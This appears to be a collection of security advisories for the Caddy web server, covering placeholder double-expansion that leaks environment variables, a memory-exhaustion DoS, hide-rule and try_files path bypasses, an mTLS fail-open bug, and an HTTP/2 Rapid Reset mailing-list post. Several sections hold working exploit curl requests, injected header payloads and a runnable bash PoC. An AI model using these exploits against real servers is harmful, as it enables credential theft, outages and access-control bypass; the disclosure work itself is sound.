Caddy v2.11.3 — Three vulnerabilities in handler/placeholder layer

Tested against: caddy:2.11.3 (official Docker image, SHA verified at runtime) Reproduction environment: Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits

This advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified caddy:2.11.3 image with the minimal Caddyfile that the documentation suggests for the affected feature.

---

Issue 1: Rewrite handler — placeholder double-expansion enables env var / file disclosure

File: modules/caddyhttp/rewrite/rewrite.go:215-249 and buildQueryString at 327 Class: CWE-94 (Code Injection), same bug class as CVE-2026-30852 (varsregexp) Severity: Low (requires operator config with trailing ? in rewrite URI)

Root cause

When the operator's rewrite URI template: 1. Contains a placeholder that resolves to request data (e.g. {http.request.header.X-Foo}), AND 2. Ends with a literal ? (with empty query side)

…then the bytes produced by the first Replacer pass (which include attacker-controlled header values) are fed through buildQueryString, which runs a second Replacer pass and resolves any placeholders the attacker injected.

go // rewrite.go (abridged) newPath = repl.ReplaceAll(path, "") // pass 1 — header expanded if before, after, found := strings.Cut(newPath, "?"); found { var injectedQuery string newPath, injectedQuery = before, after if query == "" { // trailing-? branch query = injectedQuery // attacker bytes flow into 'query' } } if query != "" { newQuery = buildQueryString(query, repl) // pass 2 — RE-EXPANDS attacker input }

This is the same gadget that was patched in varsregexp (CVE-2026-30852). The fix did not extend to rewrite, and there is no equivalent regression test for it in rewritetest.go (compare varstest.go:63,69,75).

Reproduction (real Caddy 2.11.3)

Caddyfile: { admin off autohttps off }

:8080 { rewrite /serve/{http.request.header.X-Fwd}? respond "PATH={path} QUERY={query}" }

docker-compose.yml: yaml services: caddy: image: caddy:2.11.3 environment: DATABASEURL: "postgres://leaked:supersecret@dbserver/production" ports: ["8080:8080"] volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]

Exploit: $ docker compose up -d $ curl "http://localhost:8080/anything" -H "X-Fwd: foo?{env.DATABASEURL}=leak" PATH=/serve/foo QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak

URL-decoded query: postgres://leaked:supersecret@dbserver/production=leak. The DATABASEURL env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via reverseproxy, and be readable via {http.request.uri.query} in any downstream handler.

Available read primitives

The same gadget exposes any placeholder the attacker can name in their injected substring: - {env.X} — any env var on the Caddy process - {file./path} — any file readable by the Caddy process (if file provider is registered) - {vars.X} — Caddy-internal request variables

Suggested fix (mirrors the CVE-2026-30852 patch)

After splitting at ?, sanitize placeholder syntax in the injected query before passing it to buildQueryString:

go if before, after, found := strings.Cut(newPath, "?"); found { var injectedQuery string newPath, injectedQuery = before, after if query == "" { injectedQuery = strings.ReplaceAll(injectedQuery, "{", "%7B") injectedQuery = strings.ReplaceAll(injectedQuery, "}", "%7D") query = injectedQuery } }

Also recommend adding equivalent regression tests in rewritetest.go to the three "is not re-expanded" tests in varstest.go.

---

Issue 2: Unbounded body buffer via {http.request.body} placeholder — memory exhaustion DoS

File: modules/caddyhttp/replacer.go:217-245 (placeholder resolution for http.request.body) Class: CWE-770 (Allocation of Resources Without Limits) Severity: Moderate (any operator using the documented logappend body {http.request.body} pattern is vulnerable)

Root cause

When any handler references the {http.request.body} placeholder, the replacer code path reads the entire request body into a byte slice via io.Copy(buf, req.Body) with no LimitReader wrapping. The needsEarly flag bypasses the requestbody middleware's size limit, because the placeholder is resolved before that middleware sees the request.

This means an attacker can send a request body of any size (up to whatever Content-Length they declare, or unlimited chunked) and Caddy will buffer all of it into RAM before any size check fires.

Reproduction (real Caddy 2.11.3, 512 MB container cap)

Caddyfile: { admin off autohttps off }

:8080 { logappend body {http.request.body} respond "OK, length received: {http.request.header.Content-Length}" }

docker-compose.yml: yaml services: caddy: image: caddy:2.11.3 memlimit: 512m memswaplimit: 512m ports: ["8080:8080"] volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]

Exploit (Windows PowerShell): PS> fsutil file createnew big.bin 1073741824 File C:\caddy-verify\test3-body-dos\big.bin is created PS> curl.exe -X POST --data-binary "@big.bin" -H "Expect:" --max-time 120 http://localhost:8080/ curl: (28) Operation timed out after 120010 milliseconds with 0 bytes received

Container state immediately after: PS> docker ps -a --filter name=caddy-verify-3 CONTAINER ID IMAGE STATUS NAMES 7f8ba392e7b5 caddy:2.11.3 Exited (137) 2 minutes ago caddy-verify-3

PS> docker inspect caddy-verify-3 --format "ExitCode={{.State.ExitCode}} OOMKilled={{.State.OOMKilled}}" ExitCode=137 OOMKilled=true

OOMKilled=true is dispositive — the Linux kernel's OOM killer fired. Caddy's logs cut off cleanly after "serving initial configuration" with no error message, which is the signature of a process killed mid-allocation by SIGKILL.

A small body works fine: $ curl -X POST -d "hello world" http://localhost:8080/ OK, length received: 11

Real-world exploitability

The logappend body {http.request.body} pattern is in Caddy's documentation as a debugging aid for request troubleshooting and is widely used. Other affected configurations include CEL matchers like expression {http.request.body}.contains('admin'), custom header forwarding with headerup X-Original-Body {http.request.body}, and any third-party module that resolves the placeholder.

Container memory limits in Docker / Kubernetes will result in OOM-kills as shown above; on bare-metal Caddy without cgroup limits, the attacker can exhaust all host RAM and trigger swap thrashing or system-wide instability.

Suggested fix

Wrap the body read with a LimitReader keyed off either: 1. The operator's configured requestbody.maxsize (if set), or 2. A sane built-in default (proposal: 10 MB), with an opt-out / opt-up directive for operators who genuinely need to log large bodies.

If the placeholder is referenced and the body exceeds the limit, the placeholder should resolve to a truncation marker or empty string, and a warning should be logged.

---

Issue 3: fileHidden() case-sensitive pattern bypass — exposes "hidden" files via case variation

File: modules/caddyhttp/fileserver/staticfiles.go:669-718 (the fileHidden function and filepath.Match call) Class: CWE-178 (Improper Handling of Case Sensitivity) Severity: Moderate (affects all macOS deployments, all Windows deployments, and any Linux deployment where mixed-case directories exist)

Root cause

fileHidden() uses filepath.Match, which is case-sensitive. However: - macOS APFS is case-insensitive by default - Windows NTFS is case-insensitive by default - Linux ext4 can be configured with the casefold flag, and even without it, build pipelines / backup restores / typos can create same-name-different-case directories side by side

On a case-insensitive filesystem, the OS resolves /.git and /.GIT to the same directory, but Caddy's hide check only fires on the exact-case literal .git. Result: the file is served via the uppercase URL.

On a case-sensitive filesystem where both .git and .GIT exist as separate directories, Caddy hides only .git and exposes .GIT.

Reproduction (real Caddy 2.11.3)

Caddyfile: { admin off autohttps off }

:8080 { root /srv fileserver { hide .git .env secrets } }

Setup: create six files inside the container (an Alpine setup container writes them so the case-distinct directories survive on the case-sensitive ext4 inside the Linux container):

/srv/.git/HEAD "ref: refs/heads/main" /srv/.GIT/HEAD "ref: refs/heads/main (UPPERCASE BYPASS)" /srv/.env "DATABASEURL=postgres://user:pass@host" /srv/.ENV "DATABASEURL=postgres://user:pass@host (UPPERCASE BYPASS)" /srv/secrets/api.txt "supersecretapikey=sklivereal" /srv/SECRETS/api.txt "supersecretapikey=sklivereal (UPPERCASE BYPASS)"

Test transcript (all three hide rules — .git, .env, secrets — bypassed via uppercase):

PS> curl.exe -i http://localhost:8080/.git/HEAD HTTP/1.1 404 Not Found Content-Length: 0

PS> curl.exe -i http://localhost:8080/.GIT/HEAD HTTP/1.1 200 OK Content-Length: 40 ref: refs/heads/main (UPPERCASE BYPASS)

PS> curl.exe -i http://localhost:8080/.env HTTP/1.1 404 Not Found Content-Length: 0

PS> curl.exe -i http://localhost:8080/.ENV HTTP/1.1 200 OK Content-Length: 58 DATABASEURL=postgres://user:pass@host (UPPERCASE BYPASS)

PS> curl.exe -i http://localhost:8080/secrets/api.txt HTTP/1.1 404 Not Found Content-Length: 0

PS> curl.exe -i http://localhost:8080/SECRETS/api.txt HTTP/1.1 200 OK Content-Length: 52 Content-Type: text/plain; charset=utf-8 supersecretapikey=sklivereal (UPPERCASE BYPASS)

Three separate hide rules, three separate uppercase bypasses, all 200 OK with the "hidden" content served.

Why this matters in practice

.git, .env, and secrets/ are three of the most common entries in production Caddy hide configurations because they correspond to high-value attacker targets: - .git/HEAD + .git/config + .git/objects/ → source code disclosure - .env → credentials, API keys, database connection strings - secrets/ → operator-named bucket of anything sensitive

The bug means that on macOS and Windows hosts (and a subset of Linux hosts), the hide directive provides no protection at all for these files — only psychological protection. An attacker familiar with this bug will probe with case variants before assuming the files aren't there.

Suggested fix

In fileHidden(), on platforms with case-insensitive filesystems (or when the configured filesystem is case-insensitive), perform the match against the lowercase request path and lowercase pattern. Go's standard library does not expose a portable "is this filesystem case-insensitive" check, so a reasonable conservative approach is to always lowercase both sides on GOOS=darwin and GOOS=windows, and to document for Linux operators that they should not rely on hide if their filesystem has casefold enabled or if they manage their files with case-folding tools.

Alternative: enforce that paths matched by hide are also matched case-insensitively on all platforms, with an opt-out for operators who genuinely need case-sensitive matching.

---

Reproduction kit

A full reproduction kit (Caddyfiles, docker-compose.yml files, runnable PoCs) is available on request. All exploits in this report were verified against the unmodified official caddy:2.11.3 Docker image.

Reporter

Independent security research. No prior coordination, no other parties notified, no public disclosure prior to this report. Happy to coordinate on disclosure timeline and credit.

Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/fileserver/staticfiles.go, fileHidden() uses case-sensitive filepath.Match checks, so case variants can bypass hide rules on case-insensitive filesystems or when mixed-case paths coexist and expose files intended to be hidden.

Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/replacer.go, resolving http.request.body reads the complete request body with an unbounded io.Copy before request-body middleware limits apply, allowing memory exhaustion and process termination.

Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, forwardauth copyheaders deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through phpfastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with . This lets a client send an underscore alias that survives the forwardauth delete step but becomes the same PHP/FastCGI variable. Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy. This vulnerability is fixed in 2.11.4.

Summary

Two swallowed errors in ClientAuthentication.provision() cause mTLS client certificate authentication to silently fail open when a CA certificate file is missing, unreadable, or malformed. The server starts without error but accepts any client certificate signed by any system-trusted CA, completely bypassing the intended private CA trust boundary.

Details

In modules/caddytls/connpolicy.go, the provision() method has two return nil statements that should be return err:

Bug #1 — line 787: go ders, err := convertPEMFilesToDER(fpath) if err != nil { return nil // BUG: should be "return err" }

Bug #2 — line 800: go err := caPool.Provision(ctx) if err != nil { return nil // BUG: should be "return err" }

Compare with line 811 which correctly returns the error: go caRaw, err := ctx.LoadModule(clientauth, "CARaw") if err != nil { return err // CORRECT }

When the error is swallowed on line 787, the chain is:

1. TrustedCACerts remains empty (no DER data appended from the file) 2. The len(clientauth.TrustedCACerts) > 0 guard on line 794 is false — skipped 3. clientauth.CARaw is nil — line 806 returns nil 4. clientauth.ca remains nil — no CA pool was created 5. provision() returns nil — caller thinks provisioning succeeded

Then in ConfigureTLSConfig():

6. Active() returns true because TrustedCACertPEMFiles is non-empty 7. Default mode is set to RequireAndVerifyClientCert (line 860) 8. But clientauth.ca is nil, so cfg.ClientCAs is never set (line 867 skipped) 9. Go's crypto/tls with RequireAndVerifyClientCert + nil ClientCAs verifies client certs against the system root pool instead of the intended CA

The fix is changing return nil to return err on lines 787 and 800.

PoC

1. Configure Caddy with mTLS pointing to a nonexistent CA file:

{ "apps": { "http": { "servers": { "srv0": { "listen": [":443"], "tlsconnectionpolicies": [{ "clientauthentication": { "trustedcacertspemfiles": ["/nonexistent/ca.pem"] } }] } } } } }

2. Start Caddy — it starts without any error or warning.

3. Connect with any client certificate (even self-signed): bash openssl sclient -connect localhost:443 -cert client.pem -key client-key.pem

4. The TLS handshake succeeds despite the certificate not being signed by the intended CA.

A full Go test that proves the bug end-to-end (including a successful TLS handshake with a random self-signed client cert) is here: https://gist.github.com/moscowchill/9566c79c76c0b64c57f8bd0716f97c48

Test output: === RUN TestSwallowedErrorMTLSFailOpen BUG CONFIRMED: provision() swallowed the error from a nonexistent CA file. tls.Config has RequireAndVerifyClientCert but ClientCAs is nil. CRITICAL: TLS handshake succeeded with a self-signed client cert! The server accepted a client certificate NOT signed by the intended CA. --- PASS: TestSwallowedErrorMTLSFailOpen (0.03s)

Impact

Any deployment using trustedcacertfile or trustedcacertspemfiles for mTLS will silently degrade to accepting any system-trusted client certificate if the CA file becomes unavailable. This can happen due to a typo in the path, file rotation, corruption, or permission changes. The server gives no indication that mTLS is misconfigured.

Summary

The path sanitization in file matcher doesn't sanitize backslashes which can lead to bypassing path related security protections.

Details

The tryfiles directive is used to rewrite the request uri. It accepts a list of patterns and checks if any files exist in the root that match the provided patterns. It's commonly used in Caddy configs. For example, it's used in SPA applications to rewrite every route that doesn't exist as a file to index.html. caddy example.com { root /srv encode tryfiles {path} /index.html fileserver }

tryfiles patterns are actually glob patterns and file matcher expands them. The {path} in the pattern is replaced with the request path and then is expanded by fs.Glob. The request path is sanitized before being placed inside the pattern and the special chars are escaped . The following code is the sanitization part.

go var globSafeRepl = strings.NewReplacer( "", "\\", "[", "\\[", "?", "\\?", )

expandedFile, err := repl.ReplaceFunc(file, func(variable string, val any) (any, error) { if runtime.GOOS == "windows" { return val, nil } switch v := val.(type) { case string: return globSafeRepl.Replace(v), nil case fmt.Stringer: return globSafeRepl.Replace(v.String()), nil } return val, nil })

The problem here is that it does not escape backslashes. /something-\/ can match a file named something-\-anything.txt, but it should not. The primitive that this vulnerability provides is not very useful, as it only allows an attacker to guess filenames that contain a backslash and they should also know the characters before that backslash.

The backslash is mainly used to escape special characters in glob patterns, but when it appears before non special characters, it is ignored. This means that h\ello matches hello world even though e is not a special character. This behavior can be abused to bypass path protections that might be in place. For example, if there is a reverse proxy that only allows /documents/ to the internal network and its upstream is a Caddy server that uses tryfiles, the reverse proxy's protection can be bypassed by requesting the path /do%5ccuments/.

Some configurations that implement blacklisting and serving together in Caddy are also vulnerable but there's a condition that the tryfiles directive and the filtering route/handle must not be in a same block because tryfiles directive executes before route and handle directives.

For example the following config isn't vulnerable.

caddy :80 { root /srv

route /documents/ { respond "Access denied" 403 }

tryfiles {path} /index.html fileserver }

But this one is vulnerable.

caddy :80 { root /srv

route /documents/ { respond "Access denied" 403 }

route / { tryfiles {path} /index.html } fileserver }

This config is also vulnerable because Header directives executes before tryfiles.

caddy :80 { root /srv header /uploads/ { X-Content-Type-Options "nosniff" Content-Security-Policy "default-src 'none';" } tryfiles {path} /index.html fileserver }

PoC

Paste this script somewhere and run it. It should print "some content" which means that the nginx protection has failed.

bash #!/bin/bash

mkdir secret echo 'some content' > secret/secret.txt

cat > Caddyfile <<'EOF' :80 { root /srv

tryfiles {path} /index.html fileserver } EOF

cat > nginx.conf <<'EOF' events {}

http { server { listen 80; location /secret { return 403; }

location / { proxypass http://caddy; proxysetheader Host $host; } } } EOF

cat > docker-compose.yml <<'EOF' services: caddy: # caddy@sha256:c3d7ee5d2b11f9dc54f947f68a734c84e9c9666c92c88a7f30b9cba5da182adb image: caddy:latest volumes: - ./Caddyfile:/etc/caddy/Caddyfile:ro - ./secret:/srv/secret:ro nginx: # nginx@sha256:341bf0f3ce6c5277d6002cf6e1fb0319fa4252add24ab6a0e262e0056d313208 image: nginx:latest volumes: - ./nginx.conf:/etc/nginx/nginx.conf:ro ports: - "8000:80" EOF

docker compose up -d curl 'localhost:8000/secre%5ct/secret.txt'

Impact

This vulnerability may allow an attacker to bypass security protections. It affects users with specific Caddy and environment configurations.

AI Usage

An LLM was used to polish this report.

[I've seen multiple news articles & blogs in the wake of the coordinated disclosure today, but no postings here yet, so lets start fixing that.]

Google, Cloudflare, AWS, and others released details today of a protocol-level issue in HTTP/2 being exploited in recent months for denial-of-service attacks:

https://cloud.google.com/blog/products/identity-security/how-it-works-the-novel-http2-rapid-reset-ddos-attack https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ https://aws.amazon.com/blogs/security/how-aws-protects-customers-from-ddos-events/

This attack works via the multiplexed streams feature of HTTP/2, in which the client repeatedly makes a request for a new stream, and then immediately sends a RSTSTREAM frame to cancel them, resulting in the server doing lots of extra work to set up and tear down the streams, while not hitting any server-side limit on a maximum number of active streams per connection.

CVE-2023-44487 was issued to track this issue across implementations: https://www.cve.org/CVERecord?id=CVE-2023-44487

A script to check for affected implemenations has been posted at: https://github.com/bcdannyboy/CVE-2023-44487

Information I've found so far on open source implementations (most via the current listings in the CVE) include:

- Apache httpd: https://chaos.social/@icing/111210915918780532

- caddy: https://github.com/caddyserver/caddy/issues/5877

- envoy: https://github.com/envoyproxy/envoy/pull/30055

- golang: https://github.com/golang/go/issues/63417 https://groups.google.com/g/golang-announce/c/iNNxDTCjZvo

- h2o: https://github.com/h2o/h2o/security/advisories/GHSA-2m7v-gc89-fjqf https://github.com/h2o/h2o/pull/3291

- haproxy: https://github.com/haproxy/haproxy/issues/2312

- hyper: https://seanmonstar.com/post/730794151136935936/hyper-http2-rapid-reset-unaffected

- jetty: https://github.com/eclipse/jetty.project/issues/10679 https://github.com/eclipse/jetty.project/releases/tag/jetty-12.0.2 https://github.com/eclipse/jetty.project/releases/tag/jetty-11.0.17 https://github.com/eclipse/jetty.project/releases/tag/jetty-10.0.17 https://github.com/eclipse/jetty.project/releases/tag/jetty-9.4.53.v20231009

- netty: https://github.com/netty/netty/commit/58f75f665aa81a8cbcf6ffa74820042a285c5e61

- nghttp2: https://github.com/nghttp2/nghttp2/pull/1961 https://github.com/nghttp2/nghttp2/releases/tag/v1.57.0

- nginx: https://www.nginx.com/blog/http-2-rapid-reset-attack-impacting-f5-nginx-products/ https://mailman.nginx.org/pipermail/nginx-devel/2023-October/S36Q5HBXR7CAIMPLLPRSSSYR4PCMWILK.html

- nodejs: https://github.com/nodejs/node/pull/50121

- proxygen: https://github.com/facebook/proxygen/pull/466

- swift-nio-http2: https://forums.swift.org/t/swift-nio-http2-security-update-cve-2023-44487-http-2-dos/67764

- tomcat: https://tomcat.apache.org/security-11.html#FixedinApacheTomcat11.0.0-M12 https://tomcat.apache.org/security-10.html#FixedinApacheTomcat10.1.14 https://tomcat.apache.org/security-9.html#FixedinApacheTomcat9.0.81 https://tomcat.apache.org/security-8.html#FixedinApacheTomcat8.5.94

-- -Alan Coopersmith- alan.coopersmith () oracle com Oracle Solaris Engineering - https://blogs.oracle.com/solaris